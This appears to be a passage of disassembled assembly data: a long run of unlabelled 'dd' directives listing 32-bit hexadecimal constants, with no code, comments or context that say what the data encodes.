		dd 10FEFDF2h, 0F1C84CA3h, 0B3F6EFFFh, 22A7224Fh, 8CB95100h
		dd 414F5E2Ah, 4BE1D12Ch, 0DBFB7312h, 7FE918A1h,	0B685311h
		dd 55163258h, 3A9B1660h, 485DF72Ch, 0E7A1442Fh,	0E0AEC93Eh
		dd 9A96196Bh, 323F0D82h, 0B485511h, 5E8229F5h, 840F1756h
		dd 71DDAF3Fh, 6F74AF2Bh, 0A5CEBCBBh, 9065B746h,	59CA3C53h
		dd 0FD35B74h, 99EED44h,	1057C272h, 2F94CDFCh, 7660E40Fh
		dd 42062154h, 0D2FCE96Dh, 2F2F9836h, 0D9237120h, 0AEE4EBC1h
		dd 4BDF6BADh, 0C04B188Dh, 0C4249079h, 0DA5300D2h, 783745Fh
		dd 8452D028h, 0FD44AB64h, 38AA0A80h, 650BC149h,	0CA67A923h
		dd 580803B1h, 38F92D33h, 305D3C09h, 9F104F62h, 0A426A8E7h
		dd 0EA53E544h, 0F406D249h, 685A00A5h, 0BDDFE979h, 3EC44595h
		dd 0DC89BF25h, 7502B0DCh, 5D09F26Ah, 9C0226CAh,	665D166Eh
		dd 838E2794h, 0D9F9B355h, 514BADA5h, 0BBBB6817h, 0E8BA9A34h
		dd 0BDB8A5F8h, 45FA315Ah, 12A851B0h, 0D2A40736h, 3A800EA0h
		dd 0D2F389CDh, 1605F704h, 9EC0BC5h, 347869A7h, 53BF6798h
		dd 0A0371283h, 0A1929125h, 0F11ED798h, 0E0986A76h, 1ECCFEEDh
		dd 8901F480h, 820D7CDh,	14D131C5h, 0EC8904Ah, 0C47BB957h
		dd 72FA12C8h, 65FD53C8h, 0AE5B443Ch, 0FEE565B8h, 2E201CA5h
		dd 0BA04E52Fh, 0AC5F43A8h, 89635E93h, 0B70F405Fh, 5A909D69h
		dd 97F0C9F6h, 0AA2E48CBh, 99049323h, 0B816FFF1h, 0A30DDFECh
		dd 162B6D19h, 0DD21FA5Dh, 586B637Ah, 145EC980h,	0F8263A24h
		dd 0C5588C9h, 557CE905h, 0E4E788A8h, 290E97Bh, 5318B2C2h
		dd 7EA5548h, 7D0A080Bh,	5CF74316h, 77ADAA84h, 14A7C684h
		dd 0A2671767h, 0A8200029h, 7C167991h, 5CE13B6Bh, 0E9744505h
		dd 4F0FA860h, 68E38BF2h, 80532E92h, 2860133Dh, 0D0F80863h
		dd 3D05717Ch, 1D874E9Dh, 84B7912Dh, 9EA2FE8Fh, 0C3B2EBD2h
		dd 93D7B2C4h, 61B05258h, 0FC95D328h, 534F00D0h,	0B45030B7h
		dd 0D4F62100h, 0E9B0EC80h, 2DD3C01Eh, 0B6DB8B92h, 85F5026h
		dd 0C4E30662h, 0C60F20DEh, 9203AA90h, 294A0C65h, 77A0EADDh
		dd 0ADE80888h, 0EB1E5567h, 5544A2E2h, 0C2AD9460h, 39C38080h
		dd 98C82845h, 112887B5h, 2F2D6109h, 3204E7ACh, 0EA855979h
		dd 0E50ACFEDh, 8D25C7Bh, 1326F8ABh, 60FD350Ch, 0BD14F840h
		dd 13DFE68Bh, 28A963C2h, 89196B8Dh, 76062AEBh, 5D988EB7h
		dd 9C58ED06h, 0B3E3018h, 14E6DBE9h, 32681303h, 0C3D48C36h
		dd 8DFF3031h, 2D00F653h, 0B2DFB9Ah, 97DFD84Dh, 980D857Ch
		dd 0B96F52CFh, 138F351Ah, 2DB323AEh, 79C0F3ADh,	25DC0834h
		dd 0D05A7791h, 75D67F42h, 33FD828Bh, 0C489E307h, 0D196D9FDh
		dd 795052C2h, 4DB381ECh, 0F12A0ADEh, 49D6206Fh,	0F521B216h
		dd 892DD6E8h, 383EBE11h, 0C24F7F85h, 0E090BCF8h, 387BE4Bh
		dd 0FED5EDB1h, 33CACC7Ah, 6FBB0086h, 0E939B15Ah, 0AC99DDA7h
		dd 0D0468E3Eh, 6FF5C077h, 0B012E536h, 244BF4F3h, 0D91A44h
		dd 30F30F9Eh, 404E1C1h,	0EEAFE949h, 68586F9h, 5120BF2Eh
		dd 0F602E6C1h, 0D15A5E95h, 548590Eh, 53CBF10Eh,	0FE728DEBh
		dd 33B20770h, 5274B8EAh, 18643A40h, 0A41FBE2Ah,	5F0747B9h
		dd 0E9E801A4h, 7F90A9C9h, 6FC11638h, 0E4FD6182h, 2E8B8ED9h
		dd 67D437CCh, 5BCCFFDAh, 0F1137625h, 0A1596489h, 6DBE2BBAh
		dd 70FB2ACCh, 0E1F766D8h, 0EE0968E6h, 7E1FE928h, 9C5725C7h
		dd 8F62998Ah, 2D7866E9h, 53FA2CDh, 0B04FFB8Bh, 925F7482h
		dd 0AD31DE3Dh, 949815Bh, 5BD10204h, 2FC220AAh, 8A7BD5ECh
		dd 8607E65Eh, 13DEF380h, 0C0052CAFh, 0E908EC06h, 0F02D760Ch
		dd 0E728303Ch, 55B66871h, 2ABB2EE1h, 2BCB5E7Ch,	0C8C2800Eh
		dd 0EAAEFA0Eh, 301561B2h, 0A7B670D0h, 0B560929Ch, 4E82E98Ch
		dd 226CB4A5h, 20717312h, 5C049EE8h, 0E81D7F50h,	46E05AC5h
		dd 2A012F34h, 78CB2062h, 2EA05CC6h, 0D40BBB53h,	90662A30h
		dd 173AEBF3h, 0B0238ED2h, 57B25D2Ch, 2E44E916h,	576A098Dh
		dd 0B1D2AFB0h, 7DFFEA85h, 92E95CF9h, 0E70CDE64h, 9E243FEFh
		dd 1209F35Ah, 88BA8FBFh, 0F441B9C8h, 84798E30h,	0A1E00440h
		dd 16F19488h, 4F6F0470h, 7B1AC940h, 0C24F70BCh,	0E3D89940h
		dd 36184A5Ch, 40E22910h, 0CB033053h, 0B6525966h, 0C0B3D37Ch
		dd 0C404EBC0h, 0C7FE0206h, 3DDDAAEEh, 267801BBh, 60B30C2h
		dd 46D60AE9h, 7AAEBD04h, 0A2EA362Eh, 8FE5108h, 45908308h
		dd 0B518959Eh, 0A0EE0131h, 1D3FBBBCh, 0AE650B76h, 0C41BA080h
		dd 0B5479568h, 40F8C241h, 518C0504h, 80FF06D2h,	0D0F704AAh
		dd 33B88390h, 3720CA98h, 1AF79556h, 0E8C0F5B3h,	7CE32D68h
		dd 4BABD05Dh, 0F25A10A9h, 0F6E90BB5h, 821AEA50h, 55134367h
		dd 4DA2C643h, 80CD6275h, 1DDCC728h, 0F26F4BBCh,	9F0800F4h
		dd 0CD31A3E5h, 0E20E25E9h, 22258994h, 57FB1209h, 64161131h
		dd 5350AD03h, 3BEDE0B8h, 2EB539AFh, 3542F9CBh, 0F8C35F7Dh
		dd 409784E4h, 761736B3h, 69CF9A52h, 90888424h, 55D8EE17h
		dd 55424041h, 0D26E5296h, 0E029C60Bh, 0B50159D4h, 8127B76Ch
		dd 57C0EAEEh, 0EBA28063h, 0BFA5C6FFh, 27A19EC3h, 2A2BFD09h
		dd 10684A02h, 0ADBBD149h, 0F03CF9C4h, 0D139AFE9h, 0FFEA9691h
		dd 23B63DD1h, 9D2A0365h, 7DB12F9Ah, 4CEC6D30h, 38961FE1h
		dd 98C150D1h, 4A5F0DE5h, 6522EB2Ah, 75D792BCh, 0E9131ABEh
		dd 0A5B31781h, 8E1E3B13h, 7E6C2D7Fh, 47E961A8h,	0A59D3B9Bh
		dd 0EA4B3978h, 6489D6CAh, 0ADD40D63h, 0C8532EEDh, 60B92904h
		dd 0A051CDD8h, 5C746BB5h, 5B2E9326h, 0CA09B9A1h, 490FDAF6h
		dd 426777C9h, 0FB185527h, 4CBC5BD9h, 7E5336A8h,	5B48E0h
		dd 0A5047F46h, 0BCBFE8E9h, 83088E3Eh, 5962BB77h, 0E4C8AF14h
		dd 0D9A06377h, 407F0FBBh, 0E38007DCh, 100F2A4Ah, 8B0CF198h
		dd 0C54AD77h, 3466175Ch, 52B9086Dh, 0A5E12912h,	581EA86Fh
		dd 4511048Fh, 41EA5BEBh, 3D26632Eh, 297706Ah, 0B9DF8BFh
		dd 0DCBF18B8h, 8F560B5Dh, 5DEEF7EDh, 7B674371h,	0C053A7Eh
		dd 625E2EB9h, 572211C2h, 49F2B346h, 974C34Fh, 85CBBE57h
		dd 101BE693h, 0AC5B43C3h, 0E82BA99Eh, 0DEFA43Fh, 2A08ACDDh
		dd 50CEEEE0h, 0B04BF8CAh, 0A3784F81h, 4E39499h,	2FB3544Ah
		dd 18FBD4EBh, 0BE21C08h, 225F2A25h, 7AA23C2Dh, 405C95D4h
		dd 0FE250D24h, 5C5F5AC9h, 4B91137Eh, 0A61A5230h, 0EDC70280h
		dd 2A5F347Ch, 8409DB9h,	4C1D25E9h, 1846C2A0h, 78BD0BA6h
		dd 7111137Bh, 1081FECCh, 0FE00AF8Ch, 0F81E86CFh, 80C1B753h
		dd 0DFF6DBE7h, 0D8CDAD71h, 2A792C01h, 96D5F45Eh, 4C8758F9h
		dd 7160050Eh, 33E05491h, 5CF72681h, 0A215130Eh,	59129673h
		dd 0A17937FDh, 0E46FA6B7h, 31EB01ADh, 2CF1F527h, 38B98159h
		dd 6330144Fh, 30F3405Fh, 1C623FE9h, 3CD2444Ah, 1C3880C1h
		dd 17A4FC4Ah, 96BCB311h, 180F68C0h, 0EAA52E99h,	5C0838Bh
		dd 204D0E0h, 0D2821A05h, 0C14D415Ch, 0C9D18492h, 9707E0BAh
		dd 2C39B6B2h, 68137B99h, 84F82B27h, 0AEB9B3C4h,	0E8022687h
		dd 3D4CF659h, 3E4DEC66h
		dd 61C2B803h, 0AD2D253Dh, 49C687h, 114550D1h, 0D8210A06h
		dd 93806AE9h, 2239FF5Eh, 3B9AE16Ah, 5E68CFCCh, 1C19E4D8h
		dd 0BDB1FD9Dh, 6630244Fh, 0B20503B8h, 30DFB39Bh, 980B14A3h
		dd 4677FEDEh, 0D3FB801Dh, 0F5F925AFh, 0DF77C057h, 0FFBD7CE9h
		dd 0A62BAE3Eh, 34158848h, 51034E35h, 21E9E0B5h,	0C1684716h
		dd 0FEB43EE9h, 0C88628A2h, 0EF05AFCDh, 6B132BD4h, 8B750BAh
		dd 0F2F65E2Dh, 1688C3h,	40AFEE51h, 0C6016365h, 88DCAF1h
		dd 72AC3E0Ch, 20F3680Bh, 0B88158F1h, 1CB00E82h,	4C6EE12Bh
		dd 98D68178h, 1B27E9B2h, 1E976D58h, 90599F2Dh, 0C1D8888Ah
		dd 1A6BE81Fh, 0D5A90249h, 0AA4F0476h, 0D9374291h, 0FC89EB05h
		dd 859FB82Fh, 9400C772h, 0E1F68146h, 2B291621h,	0B16AE4Eh
		dd 0C60011BDh, 0B14E85Fh, 62BBF331h, 937BFC25h,	0FD9AC469h
		dd 0FA68A0B5h, 0FD2BE15Fh, 0F4A8D254h, 0C028E605h, 68AA822Bh
		dd 0F5647480h, 17449E8h, 0D2EEF2B0h, 3B356009h,	156D804Dh
		dd 0A0464822h, 97B3D490h, 17BE86D3h, 67B1E4B1h,	0B142173Ah
		dd 0AADD3AA2h, 0A58DF93Ah, 5A34E6EFh, 0BD1784A6h, 0C012EC43h
		dd 284E7D81h, 484034E9h, 8452B173h, 0FEF4ADA4h,	3B10ADB2h
		dd 0CE25009Eh, 53AEC02h, 0EA791335h, 0A920AB47h, 0BF55B5D5h
		dd 5C946950h, 801FA2Eh,	4089392Dh, 0D5C3E041h, 586080D1h
		dd 684340B4h, 0CC03B82Fh, 101E1A3h, 0BEB145EEh,	0E22A22F1h
		dd 5E5AC0C2h, 0D3C909E9h, 6334FEB4h, 0FE91542h,	0FBEDF58Eh
		dd 0C20AAB2Fh, 4075629Ch, 526ABFEh, 0E5C1254Eh,	0F5E60104h
		dd 70580242h, 0AC401450h, 9B5448F6h, 9379F35Ah,	0E0504D1Eh
		dd 0C812085Ah, 6B7F712Fh, 0EB7264A8h, 747244FCh, 6A536681h
		dd 0A53D885Fh, 0EB4A1628h, 5CE98A05h, 97FE85B0h, 0C5BFFDA2h
		dd 84C2D725h, 86D1FF4Ch, 18B9DD6Fh, 5B20E5C2h, 92C5BF50h
		dd 9285CE88h, 74A1AAC3h, 94027FECh, 0A103971Ch,	74AAEDCEh
		dd 0CD3880BAh, 4D5B7F6h, 0D001ED73h, 2FE957C5h,	0A198B10Dh
		dd 2CB4B2D0h, 899259EBh, 0D35C6C2Dh, 0AEC0E963h, 0BA609F32h
		dd 7690F028h, 2943B72Fh, 3ABBF634h, 0D5885A8Dh,	237E9C08h
		dd 0E933EE18h, 0F2FC5EE5h, 0E37303ADh, 0E9EE2108h, 93BB91B8h
		dd 0D731A484h, 0B5E8065h, 0E75AC094h, 293C37A8h, 0A6895896h
		dd 0EB811793h, 0ECAF6DB5h, 5DB674F2h, 96FF8846h, 52DD4940h
		dd 6DB00276h, 9CE9C288h, 7D9009F7h, 0B52CC27Bh,	8BEE5F13h
		dd 6BB0446h, 0BC07F64h,	0B3457E3h, 534B66BEh, 2D0DCE2Bh
		dd 7DA2200Bh, 0BA5095Eh, 5B958703h, 25AFB871h, 52FF5E27h
		dd 9A43ABDCh, 0C1850055h, 814515Bh, 0AD98D9F7h,	0B47AB207h
		dd 0C08F315Eh, 54E0F181h, 92202F3h, 658CE9CDh, 0E4635FDEh
		dd 684CA05Eh, 70970582h, 0C12959B7h, 7BA1477Ah,	0F21C42E2h
		dd 78BE3FF6h, 34C0ABA7h, 6F17BDB8h, 52BB1DDEh, 0E96203BAh
		dd 0A1043617h, 0BF1403F1h, 21A78582h, 3652B368h, 13A95BA3h
		dd 53F75B89h, 7FCE340h,	5B5A182Ch, 0BB60F640h, 323C7F35h
		dd 0EA81BE7Ch, 0EC2D50DFh, 39D4B7C2h, 5FEA5BBEh, 7C52645h
		dd 69011077h, 3CBF4800h, 69970CD6h, 73ECC5E7h, 0E00E5ADCh
		dd 2A6096EFh, 2267EB61h, 0C1160E5h, 1085B15h, 170ED690h
		dd 0ED20A955h, 8061CF3h, 8214841Ch, 0C324F720h,	4F40BA5Ch
		dd 286B9AEDh, 29555D37h, 497F9E04h, 0CE10EA69h,	0E95D0507h
		dd 4A4F83Fh, 0B7AA40D4h, 494A687Dh, 0AA3B512h, 0A9A52297h
		dd 372ECEA2h, 25FA9866h, 81FF8F5Ch, 36444A1Ch, 972CD1EDh
		dd 0D3D8F61Dh, 0BE79407Ah, 0C4885D6Fh, 0C9F5E1A1h, 2BC0E2EBh
		dd 8781EA15h, 0DC5D8205h, 5240F7D4h, 0B0A3B450h, 28850BE0h
		dd 0CA7559CCh, 53BDC1C5h, 81FEA014h, 0D520F041h, 0A3E14E12h
		dd 75F24EDBh, 16DF2FC4h, 0FB0534BEh, 0CEAE7407h, 5A16FEDBh
		dd 4A02AD40h, 0DB5DE93Ah, 0D5B19031h, 69A1EF8Eh, 534B254Fh
		dd 595A49F8h, 0BD04FC13h, 2DBBFEE8h, 8D7697E8h,	0BE33D8D8h
		dd 0BEE2826Bh, 12600201h, 0DDD70B8Bh, 0D32A741Eh, 0A7145D9Dh
		dd 0BD9ACB50h, 9377134Ah, 16FBFDB5h, 509FEE17h,	14FF2C27h
		dd 429A9FDCh, 50713240h, 0E9194B04h, 0B4FEB0F1h, 6E9A0CBDh
		dd 0A353AE9h, 0CCC8D806h, 2DCE6E13h, 0DAE68181h, 0C8D82137h
		dd 0FE59F2CAh, 32D70508h, 81C22C67h, 0B05000EFh, 0B7075386h
		dd 0F4E7800Fh, 0AEE19BE4h, 0E04BF3C1h, 0E9CB2804h, 4EE1A8D6h
		dd 2D69CBBEh, 0ADA9E1ACh, 9CAD2Dh, 52138220h, 80096851h
		dd 51553357h, 0AF9F1217h, 68D07689h, 0E4E2E5AAh, 0C322FEBBh
		dd 53D83159h, 20DB5F4Ch, 89521C88h, 5A59C9FAh, 68EAD7F8h
		dd 186FE82Fh, 0B14B0D93h, 507569CDh, 0FF2D5B34h, 0FF0FA13h
		dd 19A9DF9h, 0AB2C5B89h, 98BD4DC0h, 82A741F1h, 3B321640h
		dd 4AB880h, 5482E38h, 22045D70h, 4C1631BCh, 0FE4F26ECh
		dd 1B92828h, 1CB1320h, 7F23B5E9h, 814A298Eh, 0A5FEC1B9h
		dd 55CB621Eh, 578069D8h, 46956F0Fh, 626EF2BFh, 0EA091274h
		dd 28EF0CFCh, 7EF24001h, 6F3EFB49h, 0BFC14AE9h,	3B71D188h
		dd 17F8F0C2h, 3054DD68h, 3A6BE9E2h, 0DAEE2295h,	0F381001Eh
		dd 0AE095D5Ah, 57D9893Dh, 69976B94h, 84556C5Dh,	8E945FBh
		dd 169CAE91h, 0E35A5BD5h, 688298CCh, 0A7B4DF7h,	0EBCAAD84h
		dd 0BD644B2h, 2BCBD1D2h, 4F2983AFh, 64B9BBC4h, 0F902CD94h
		dd 4B120B6Ah, 1746CBDFh, 1EBD108h, 605C974Ah, 79E13A3Ch
		dd 1A15442h, 360D8A68h,	0ABA618B1h, 9D0AFC1Bh, 81509DC6h
		dd 8301C154h, 319ECD1Ah, 0B372204Fh, 0B101F750h, 36694F3Ah
		dd 0F2803C20h, 0CAC42003h, 0BF002533h, 0FD54459Ah, 494B3AF4h
		dd 0CEC1D0A8h, 2A656952h, 0C13861BBh, 3145EC60h, 0F40A0B5h
		dd 4D200BF2h, 2B046C57h, 0F82C3C6Ch, 0A507415Fh, 55A9648h
		dd 0E9535854h, 4E89AC73h, 4F749FEEh, 5E6CC0DDh,	7E499401h
		dd 6B540107h, 0C4136B3h, 0B03EEC7Fh, 5E086855h,	8F8B305Bh
		dd 6918A717h, 0E90B93BDh, 89AE96F3h, 8BD759CFh,	8585678Ah
		dd 0ADEC4EE9h, 0CD0D796h, 0C3108E8h, 784668C8h,	0A14B9931h
		dd 0DDC10F24h, 657A2DCEh, 90A3FEF2h, 0D0676312h, 4C081150h
		dd 0EB7A2F7Eh, 0E8AC7D97h, 6713A21Ch, 12FACF3Bh, 11E3EE8Dh
		dd 0F6E95504h, 29A29CEDh, 6941F9B7h, 8E41535Dh,	0C1380668h
		dd 0AD81D62Ah, 57635496h, 0D6DFA98h, 0B32DFE2Eh, 2440FD2Bh
		dd 9B0E635Ch, 348897Dh,	0DA75F00Ah, 7885407Ah, 6E1F2C76h
		dd 328B0591h, 0AC8B8101h, 70202BAFh, 3E1295BEh,	0FA9364D3h
		dd 6809C8D4h, 46103E25h, 29F0314Ch, 2FBA3A81h, 56E6C761h
		dd 18A16800h, 8863A1B4h, 60EF92C5h, 9AA856B5h, 67DCEBEFh
		dd 9194B52Ah, 5248778Ch, 0C6F2E3Eh, 0CD89F5D2h,	7F693571h
		dd 9EB49240h, 9F2AB780h, 34F4C650h, 53145C61h, 343E2468h
		dd 0FCF1EF54h, 5DC7CB40h, 0A8175FB5h, 0E01F278Eh, 0BEEA2840h
		dd 0E6166FF9h, 0CFFE13C5h, 0DFBEA0ABh, 0C05501E1h, 0E34C3CBAh
		dd 211E1F42h, 1179A4D0h, 46BB2D0Ah, 0E63B9AFEh,	0E9999AD7h
		dd 431B136Dh, 3212C504h, 9D05DF40h, 178008E3h, 16347056h
		dd 47E2E961h, 725D5E3Dh, 0DEB8D0C9h, 0FD83FAF9h, 0AB99F02h
		dd 0F1C161FDh, 9D290024h, 0C3CFA5DDh, 2BF1E1EEh, 8428E3B1h
		dd 6586E9A1h, 0DEC6F881h, 0DE62113h, 0BC10EAECh, 0E3FD4EA8h
		dd 77AD223Fh, 541AF900h, 0CC17C07h, 3A70753Ch, 3846C26Ah
		dd 34B5EA70h, 0F31C5E59h
		dd 12F358FAh, 0D0B2FF72h, 0B17FBCD3h, 2F8030AEh, 51533C77h
		dd 150BBDB9h, 8589094Bh, 30F10CD5h, 96F9F92Ah, 0FEC4A944h
		dd 0DEE118B0h, 5D25B81Bh, 7D943275h, 4E25AA96h,	95905AC3h
		dd 112BCDCh, 53CCE4BEh,	8FF506BDh, 0F82EE1BCh, 0D9E540CCh
		dd 0E78BC6Eh, 5761E9F7h, 81C7C324h, 7905C7Bh, 20C85749h
		dd 182C76FEh, 6166E74h,	3A239AEh, 3B5E439Eh, 61306D5h
		dd 97185DEAh, 4BE2E9A5h, 697DCAFBh, 186656E7h, 34FD852h
		dd 0BA651B0Eh, 0B41684FDh, 0F83C5EEh, 0AC9C6868h, 9A306CE2h
		dd 6AA6B18h, 4745AB2h, 6DE917ABh, 7B038ADDh, 2933A826h
		dd 361AFDADh, 97AC6475h, 3CA81557h, 907C8513h, 0CB766C25h
		dd 0B5A85C5Ah, 0F49B2F7Eh, 45496B71h, 1E0A099Dh, 123DFB53h
		dd 93CCCA0Dh, 41235AD0h, 0C942B72Dh, 0D7407A38h, 0A5366CF5h
		dd 2803BD11h, 0FE921BE9h, 0CD3DB6DFh, 0D85348BAh, 0FE9C17A0h
		dd 1E133385h, 11BCF584h, 2E2E12Dh, 9677EA09h, 50FD03EFh
		dd 0B2BD646Ch, 29D465B8h, 20EA79BDh, 453002CCh,	0CD01401Ah
		dd 577C4E40h, 53923991h, 150B33ACh, 7853947h, 5740FF6Dh
		dd 0A03FF410h, 378CD431h, 6105EF4Eh, 1D9192E9h,	5C6A6DB2h
		dd 0C3804700h, 0C3760EC4h, 0DBDE02AFh, 2563C607h, 0EE6441B6h
		dd 50C8A8AFh, 32407679h, 0CA29555h, 0B7908ECAh,	4D986A67h
		dd 0DF0B7290h, 7C6EEC46h, 0E581014Ah, 3E9C5F7Ch, 9304CB01h
		dd 0E9A7676Fh, 522F6970h, 0B9E7305Eh, 110E690h,	55E1816Eh
		dd 0F2673D0Fh, 680F1D5h, 0B9B528E9h, 0B0B33B0h,	0F45A4475h
		dd 79A7585Bh, 0F5FC1E70h, 0C306A550h, 0D3885D97h, 2C3704EAh
		dd 1430C2A1h, 5E0ACA70h, 0F01C4F09h, 0C76BA018h, 8A2D17DEh
		dd 10C4163Dh, 592F08C2h, 6F0319E9h, 0CFAEEE85h,	93E91F87h
		dd 21F7225h, 810D9DB8h,	99853162h, 0DE8AC252h, 4FBD40Eh
		dd 28920ED9h, 0F8A93582h, 0E120EDFDh, 0E4641479h, 0BB03D71Fh
		dd 0D135057Dh, 5BF4C0B4h, 75026F73h, 27E9F301h,	6ED2076h
		dd 8A4ACFB3h, 0EA8146FCh, 0FF61CA2Fh, 162CF3C8h, 0A720237Eh
		dd 57F8BDC6h, 5A0706CCh, 431F587Eh, 0EBF18917h,	0F8E94481h
		dd 6BAEDFEh, 0A8403193h, 3FFBF305h, 1BF2C9Ch, 1474DCE2h
		dd 0BCC7435Fh, 3BECEBF1h, 0E40B33A1h, 80C1C850h, 2EB0CE31h
		dd 4C560F95h, 0ACB9AEBh, 1AD466A9h, 0ECCE13A2h,	0CD8A5AEBh
		dd 755ED6DAh, 0DF21588Bh, 0F5F35893h, 0EEEC6474h, 50E8E96h
		dd 52001001h, 818FE5BAh, 0A7092D82h, 5E4F2048h,	0B7072034h
		dd 46F00140h, 10F7C14Ch, 0B04B33AFh, 0D65B317Ah, 0CE632CBFh
		dd 5AD56817h, 849CC8FBh, 96B1F277h, 0B173E82Fh,	81F9BDEEh
		dd 0CC09C828h, 0D5516371h, 0E7E95E01h, 55B36BE2h, 5622D6DFh
		dd 1B07AF58h, 129711Bh,	2C1D016Dh, 0EE12BE2Fh, 7E53CBBEh
		dd 7E9D509h, 489929F7h,	0FC5AAA7Ah, 0BF7CE40Ah,	0C80A0C6h
		dd 0C827FFE9h, 4B1A71FEh, 0FFB0425Fh, 680956CFh, 689857E9h
		dd 3E05B3BAh, 0C2317061h, 0B3ACDC0Ah, 3D7479AFh, 0AD545B96h
		dd 8F792D6Eh, 2468E25Eh, 0ADC05913h, 7E02EEDCh,	0F70280E9h
		dd 5501C54Eh, 0D85E1468h, 0B12A5D0Bh, 8CBC3E75h, 7CC8BC96h
		dd 0B91D8097h, 48C50A80h, 0C91FAF6Bh, 0C21D878h, 0CC2D176Fh
		dd 0FF516341h, 547A97E0h, 0B5E9FF68h, 0F8744430h, 79170BF1h
		dd 77D8458Dh, 11801DA2h, 1AD86A5Bh, 809FFAF0h, 0D306C98Bh
		dd 46E91256h, 0BA3324CCh, 0E9A0C4A2h, 0CE9F788Dh, 0ED70A047h
		dd 3391763h, 0D506FF83h, 2F13E8F2h, 0BB620EE9h,	0A98B3D59h
		dd 9C5F4E19h, 0BA6692EFh, 0B8285891h, 0A6B73C81h, 20D0CF80h
		dd 0F54A058Fh, 5FE943D9h, 91742268h, 425D272Fh,	117681D7h
		dd 1ED860Ah, 48ADE52Ah,	0BB51533Ah, 7C566F0Fh, 72B94F0Bh
		dd 50F45F89h, 0E24D975h, 0EB2D93F0h, 76D4F6C4h,	0A5D2B8ABh
		dd 0C44FF2EBh, 0DFB017E9h, 0D9ED0F80h, 3145EA28h, 0B84BBFD8h
		dd 459BFFA3h, 876D62F1h, 56306810h, 7CC57509h, 1CF1F3ADh
		dd 0D8B5A01Ah, 1534171h, 7EF8619Eh, 36C25B34h, 693F6057h
		dd 2A990C62h, 290B6DBFh, 24E9F717h, 685F8141h, 0DA363548h
		dd 12784317h, 1A980107h, 20779A58h, 0D05F982Dh,	0F8C173BFh
		dd 67ACAB4Eh, 0BF194130h, 0BD004766h, 1250BA4Ah, 5001C4F4h
		dd 9EEE5FAh, 311D718Ah,	0A776257h, 3C09CF08h, 42137C0Bh
		dd 5E1D1F7h, 38BEC0C8h,	2BC5E916h, 0A9D37BCCh, 2DD7088Ah
		dd 325AD640h, 39AFE54Fh, 665E214Ah, 0D5564F3Ch,	0DB7698EFh
		dd 0D6CD3F52h, 7F398B04h, 3AC7DFA8h, 542B8F27h,	6FADA9C7h
		dd 0BD102C22h, 9778F7A5h, 0B61652E8h, 7804FE2Eh, 0EA9306C0h
		dd 1A30B9FAh, 0B530E93h, 0B8D1056Ch, 51E8D727h,	410797F7h
		dd 47E943D1h, 0D62DF7EAh, 7D6D021Ch, 13DC601Bh,	0B5AD825h
		dd 26F41BDh, 1795D300h,	18C06A73h, 33259893h, 26B62CE9h
		dd 2ED953F2h, 10482212h, 5D27EEA1h, 0DF13B673h,	80422CB8h
		dd 92A3FEE5h, 0D87DE6C5h, 1041E108h, 456FBE01h,	0BE046397h
		dd 41BA0395h, 2DDB105Dh, 0E0996429h, 86CC164Ah,	122806C6h
		dd 0BC2351Ah, 48A3F8C5h, 0C3018E04h, 5C4FA380h,	0C1321403h
		dd 0F60293E6h, 8B0B399Fh, 5E0A8640h, 0E97C2B05h, 0D2D2A34Ah
		dd 299EC85Dh, 3F769FCBh, 5959C1DAh, 98743C28h, 68C102E6h
		dd 0E8D1175Ah, 0F44A00F5h, 411CD4Ah, 24D02D35h,	40C3F12Fh
		dd 1A0BC79Eh, 28A62149h, 2EB108EEh, 1654CCCCh, 0AE6E364Ch
		dd 43676AD1h, 0C7D89F61h, 0D1B3E68h, 240E4730h,	224A7C95h
		dd 0A43269BEh, 260B4208h, 76F1F296h, 0D266E968h, 0EA3C1B05h
		dd 46C8AF50h, 3D4C1CCAh, 15D6A568h, 32C01A34h, 5E940DBDh
		dd 25CFC721h, 139080E1h, 1858341Ch, 0BF93029Fh,	5589DE7Ch
		dd 583A265h, 0E455318Ch, 70410FAh, 4E51B24Eh, 0E983F0A6h
		dd 0C613A8F5h, 30B9CE01h, 986EC97h, 0FF4DF8E9h,	21FD2212h
		dd 0AE762F41h, 5894F03Fh, 0A8B41D28h, 18CACB48h, 591815CCh
		dd 39E09DC3h, 0BF83AB01h, 4452B862h, 19CC2765h,	0A2AD2AD3h
		dd 0F16ACD8Ah, 0DE4784D8h, 0B5DCABFEh, 0B2D84BAFh, 0F1E85F42h
		dd 20CAEDB0h, 0E973E309h, 971358ABh, 0ADD1AA13h, 6414935Eh
		dd 515A05EFh, 0DACC92B4h, 0CB39D675h, 0EEC02A7Eh, 0BDF154B3h
		dd 8C80F37Ah, 0D70A454Dh, 9FFB016Dh, 3EE11916h,	0A9D5FC6Bh
		dd 6858D585h, 69D1FF7Fh, 2040CFD6h, 95A52BF1h, 0D8DB34E1h
		dd 609523C3h, 4C4D6C56h, 0E4255B19h, 0D4BCFDD8h, 109C551h
		dd 80FCDBC9h, 2F23EA59h, 6089A3D4h, 3DF32AD3h, 4B58A62h
		dd 6800D195h, 7FF556C6h, 855FCEF5h, 62BF5DE2h, 57D0534Ch
		dd 45D95C4Eh, 0CB3CAC3Ch, 5B2C1289h, 0B44B2204h, 6039C366h
		dd 533F7696h, 0E0A9DA5Eh, 625AB087h, 0F0222975h, 0E10A8805h
		dd 0F1DD42h, 7397685Bh,	5597C491h, 16766601h, 0E06F41E2h
		dd 0DD48F7B8h, 2E72000Bh, 4EE94462h, 2D7826Eh, 75E6D2EBh
		dd 0B8015DB2h, 207B59F7h, 0D4B9D10h, 2768C798h,	5E56E80h
		dd 0ABDCE98Bh, 8167555h, 0E9BCF9B7h, 0BB51C656h, 9066C224h
		dd 0C0B3E09Bh, 26D0BE54h, 7BF461ACh, 79CD675Fh,	49BF7A61h
		dd 0F5418E27h, 0E3492052h, 0FCBEFD2h, 6816004Ch, 10A2E910h
		dd 0BB074CEBh, 7B7C64C9h, 0EE711700h, 15A17FBh,	5EC77CB2h
		dd 0A8220468h, 272AC4A9h, 0ED2D9214h, 0A3BDC7D2h, 18722646h
		dd 0DBFA8F71h, 0D42763E8h, 1DA05E3Ch, 0BE701222h, 0D805EAB2h
		dd 8063E148h, 1A281B4Eh
		dd 4C0F6B48h, 388A12CDh, 4D30CC9Dh, 64245A47h, 62E48282h
		dd 8927F57Eh, 194880A0h, 3166867Dh, 0AB25C501h,	0C3301B6h
		dd 864CB23Fh, 0BF1EB238h, 3C97D4EDh, 0D82A2E8Dh, 6602ED02h
		dd 14C8A67h, 1D542FDh, 4F4BE908h, 2C5BD748h, 1D99E29h
		dd 547097F3h, 5EC84171h, 9FB60D9h, 9701DA4Fh, 0D507AC7Fh
